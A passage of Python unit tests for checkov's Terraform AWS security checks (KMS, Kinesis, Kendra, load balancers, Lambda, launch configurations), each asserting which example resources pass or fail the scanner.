checkov.terraform.runner import Runner class TestImagebuilderDistributionConfigurationEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ImagebuilderDistributionConfigurationEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_imagebuilder_distribution_configuration.pass", } failing_resources = { "aws_imagebuilder_distribution_configuration.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_ImagebuilderImageRecipeEBSEncrypted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.ImagebuilderImageRecipeEBSEncrypted import check from checkov.terraform.runner import Runner class TestImagebuilderImageRecipeEBSEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ImagebuilderImageRecipeEBSEncrypted" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_imagebuilder_image_recipe.pass", "aws_imagebuilder_image_recipe.pass2", "aws_imagebuilder_image_recipe.pass3", } failing_resources = { "aws_imagebuilder_image_recipe.fail", "aws_imagebuilder_image_recipe.fail2", "aws_imagebuilder_image_recipe.fail3", "aws_imagebuilder_image_recipe.fail4", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KMSKeyIsEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KMSKeyIsEnabled import check from checkov.terraform.runner import Runner class TestKMSKeyIsEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KMSKeyIsEnabled" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_kms_key.pass", "aws_kms_key.pass2", } failing_resources = { "aws_kms_key.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KMSKeyWildcardPrincipal.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KMSKeyWildcardPrincipal import check from checkov.terraform.runner import Runner class TestKMSKeyWildcardPrincipal(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KMSKeyWildcardPrincipal" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'aws_kms_key.pass_0', 'aws_kms_key.pass_1', 'aws_kms_key.pass_2', 'aws_kms_key.pass_3', 'aws_kms_key.pass_4', } failing_resources = { 'aws_kms_key.fail_0', 'aws_kms_key.fail_1', 'aws_kms_key.fail_2', 'aws_kms_key.fail_3', 'aws_kms_key.fail_4', } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) self.assertEqual(summary['passed'], 5) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KMSRotation.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KMSRotation import check from checkov.terraform.runner import Runner class TestKMSRotation(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KMSRotation" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_kms_key.pass1", "aws_kms_key.pass2", } failing_resources = { "aws_kms_key.fail1", "aws_kms_key.fail2", "aws_kms_key.fail3", "aws_kms_key.fail4", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KendraIndexSSEUsesCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KendraIndexSSEUsesCMK import check from checkov.terraform.runner import Runner class TestKendraIndexSSEUsesCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_KendraIndexSSEUsesCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_kendra_index.pass", } failing_resources = { "aws_kendra_index.fail", } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KeyspacesTableUsesCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KeyspacesTableUsesCMK import check from checkov.terraform.runner import Runner class TestKeyspacesTableUsesCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_KeyspacesTableUsesCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_keyspaces_table.pass", } failing_resources = { "aws_keyspaces_table.fail", "aws_keyspaces_table.fail2", "aws_keyspaces_table.fail3", } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KinesisFirehoseDeliveryStreamSSE.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KinesisFirehoseDeliveryStreamSSE import check from checkov.terraform.runner import Runner class TestKinesisFirehoseDeliveryStreamSSE(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_KinesisFirehoseDeliveryStreamSSE" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_kinesis_firehose_delivery_stream.pass", } failing_resources = { "aws_kinesis_firehose_delivery_stream.fail", "aws_kinesis_firehose_delivery_stream.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KinesisFirehoseDeliveryStreamUsesCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KinesisFirehoseDeliveryStreamUsesCMK import check from checkov.terraform.runner import Runner class TestKinesisFirehoseDeliveryStreamUsesCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_KinesisFirehoseDeliveryStreamUsesCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_kinesis_firehose_delivery_stream.pass", } failing_resources = { "aws_kinesis_firehose_delivery_stream.fail", "aws_kinesis_firehose_delivery_stream.fail2", "aws_kinesis_firehose_delivery_stream.fail3", "aws_kinesis_firehose_delivery_stream.fail4", "aws_kinesis_firehose_delivery_stream.fail5", "aws_kinesis_firehose_delivery_stream.fail6", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 6) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KinesisStreamEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KinesisStreamEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestKinesisStreamEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KinesisStreamEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_kinesis_stream.pass", } failing_resources = { "aws_kinesis_stream.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KinesisStreamEncryptionType.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KinesisStreamEncryptionType import check from checkov.terraform.runner import Runner class TestKinesisStreamEncryptionType(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_KinesisStreamEncryptionType" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_kinesis_stream.enabled", } failing_resources = { "aws_kinesis_stream.default", "aws_kinesis_stream.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_KinesisVideoEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.KinesisVideoEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestKinesisVideoEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KinesisVideoEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_kinesis_video_stream.pass", } failing_resources = { "aws_kinesis_video_stream.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LBCrossZone.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LBCrossZone import check from checkov.terraform.runner import Runner class TestLBCrossZone(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LBCrossZone" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_lb.enabled", "aws_alb.enabled", } failing_resources = { "aws_lb.default", "aws_alb.default", "aws_lb.disabled", "aws_alb.disabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LBDeletionProtection.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LBDeletionProtection import check from checkov.terraform.runner import Runner class TestLBDeletionProtection(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LBDeletionProtection" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_lb.enabled", "aws_alb.enabled", } failing_resources = { "aws_lb.default", "aws_alb.default", "aws_lb.disabled", "aws_alb.disabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LBTargetGroupDefinesHealthCheck.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.LBTargetGroupsDefinesHealthcheck import check class TestLBTargetGroupDefinesHealthcheck(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LBTargetGroupDefinesHealthcheck") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'aws_alb_target_group.pass', } failing_resources = { 'aws_lb_target_group.fail', 'aws_lb_target_group.fail2', 'aws_lb_target_group.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaCodeSigningConfigured.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LambdaCodeSigningConfigured import check from checkov.terraform.runner import Runner class TestWafHasAnyRules(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_LambdaCodeSigningConfigured" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_lambda_function.pass" } failing_resources = { "aws_lambda_function.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaDLQConfigured.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.LambdaDLQConfigured import check from checkov.common.models.enums import CheckResult class TestLambdaDLQConfigured(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" dead_letter_config { target_arn = "test" } environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaEnvironmentCredentials.py ================================================ import unittest from pathlib import Path from checkov.terraform.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check class TestLambdaEnvironmentCredentials(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_LambdaEnvironmentCredentials" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_lambda_function.pass", "aws_lambda_function.no_env", } failing_resources = { "aws_lambda_function.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) # check especially for the evaluated keys actual_evaluated_keys = next( c.check_result["evaluated_keys"] for c in report.failed_checks if c.resource == "aws_lambda_function.fail" ) expected_evaluated_keys = [ "environment/[0]/variables/[0]/AWS_ACCESS_KEY_ID", "environment/[0]/variables/[0]/AWS_SECRET_ACCESS_KEY", ] self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaEnvironmentEncryptionSettings.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LambdaEnvironmentEncryptionSettings import check from checkov.terraform.runner import Runner class TestLambdaEnvironmentEncryptionSettings(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LambdaEnvironmentEncryptionSettings" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_lambda_function.pass", } failing_resources = { "aws_lambda_function.fail", "aws_lambda_function.failkmsnovars", "aws_lambda_function.failasempty", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaFunctionIsNotPublic.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.LambdaFunctionIsNotPublic import check class TestLambdaFunctionIsNotPublic(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LambdaFunctionIsNotPublic") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_lambda_permission.pass", } failing_resources = { "aws_lambda_permission.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaFunctionLevelConcurrentExecutionLimit.py ================================================ import unittest from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.aws.LambdaFunctionLevelConcurrentExecutionLimit import check import hcl2 class TestLambdaFunctionLevelConcurrentExecutionLimit(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") reserved_concurrent_executions = -1 runtime = "nodejs12.x" environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") reserved_concurrent_executions = 0 runtime = "nodejs12.x" environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") reserved_concurrent_executions = 1000 runtime = "nodejs12.x" environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaFunctionURLAuth.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.LambdaFunctionURLAuth import check class TestLambdaFunctionURLAuth(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LambdaFunctionURLAuth") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_lambda_function_url.pass", } failing_resources = { "aws_lambda_function_url.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaInVPC.py ================================================ import unittest from checkov.terraform.checks.resource.aws.LambdaInVPC import check from checkov.common.models.enums import CheckResult import hcl2 class TestLambdaInVPC(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_lambda_function" "test_lambda" { filename = "lambda_function_payload.zip" function_name = "lambda_function_name" role = aws_iam_role.iam_for_lambda.arn handler = "exports.test" source_code_hash = filebase64sha256("lambda_function_payload.zip") runtime = "nodejs12.x" vpc_config { # Every subnet should be able to reach an EFS mount target in the same Availability Zone. Cross-AZ mounts are not permitted. subnet_ids = [aws_subnet.subnet_for_lambda.id] security_group_ids = [aws_security_group.sg_for_lambda.id] } environment { variables = { foo = "bar" } } } """) resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaServicePermission.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.LambdaServicePermission import check class TestLambdaServicePermission(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LambdaServicePermission") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'aws_lambda_permission.ckv_unittest_pass_source_arn', 'aws_lambda_permission.ckv_unittest_pass_source_account' } failing_resources = { 'aws_lambda_permission.ckv_unittest_fail', } unknown_resources = { 'aws_lambda_permission.ckv_unittest_pass_principal', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LambdaXrayEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LambdaXrayEnabled import check from checkov.terraform.runner import Runner class TestLambdaXrayEnabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_LambdaXrayEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_lambda_function.active", "aws_lambda_function.pass_through", } failing_resources = { "aws_lambda_function.default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_LaunchConfigurationEBSEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.LaunchConfigurationEBSEncryption import check from checkov.terraform.runner import Runner class TestLaunchConfigurationEBSEncryption(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_LaunchConfigurationEBSEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_instance.pass", "aws_instance.pass2", "aws_instance.pass3", "aws_launch_configuration.pass", "aws_launch_configuration.pass2", } failing_resources = { "aws_instance.fail", "aws_instance.fail2", "aws_instance.fail3", "aws_instance.fail4", "aws_instance.fail5", 